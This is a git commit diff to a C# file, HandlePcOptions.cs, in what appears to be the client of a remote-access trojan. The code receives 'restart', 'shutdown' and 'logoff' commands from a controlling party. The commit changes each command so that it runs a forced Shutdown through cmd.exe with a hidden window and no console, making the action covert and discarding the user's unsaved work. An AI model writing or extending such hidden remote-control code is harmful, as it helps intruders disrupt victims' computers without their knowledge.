Update HandlePcOptions.cs
This commit is contained in:
parent
fb9a8249d7
commit
ce53554a7b
@ -16,21 +16,50 @@ namespace Client.Handle_Packet
|
|||||||
case "restart":
|
case "restart":
|
||||||
{
|
{
|
||||||
Methods.ClientExit();
|
Methods.ClientExit();
|
||||||
Process.Start("Shutdown", "/r /f /t 00");
|
Process proc = new Process
|
||||||
|
{
|
||||||
|
StartInfo = new ProcessStartInfo
|
||||||
|
{
|
||||||
|
FileName = "cmd",
|
||||||
|
Arguments = "/c Shutdown /r /f /t 00",
|
||||||
|
WindowStyle = ProcessWindowStyle.Hidden,
|
||||||
|
CreateNoWindow = true,
|
||||||
|
}
|
||||||
|
};
|
||||||
|
proc.Start();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case "shutdown":
|
case "shutdown":
|
||||||
{
|
{
|
||||||
Methods.ClientExit();
|
Methods.ClientExit();
|
||||||
Process.Start("Shutdown", "/s /f /t 00");
|
Process proc = new Process
|
||||||
break;
|
{
|
||||||
|
StartInfo = new ProcessStartInfo
|
||||||
|
{
|
||||||
|
FileName = "cmd",
|
||||||
|
Arguments = "/c Shutdown /s /f /t 00",
|
||||||
|
WindowStyle = ProcessWindowStyle.Hidden,
|
||||||
|
CreateNoWindow = true,
|
||||||
|
}
|
||||||
|
};
|
||||||
|
proc.Start(); break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case "logoff":
|
case "logoff":
|
||||||
{
|
{
|
||||||
Methods.ClientExit();
|
Methods.ClientExit();
|
||||||
Process.Start("Shutdown", "/l /f");
|
Process proc = new Process
|
||||||
|
{
|
||||||
|
StartInfo = new ProcessStartInfo
|
||||||
|
{
|
||||||
|
FileName = "cmd",
|
||||||
|
Arguments = "/c Shutdown /l /f",
|
||||||
|
WindowStyle = ProcessWindowStyle.Hidden,
|
||||||
|
CreateNoWindow = true,
|
||||||
|
}
|
||||||
|
};
|
||||||
|
proc.Start();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user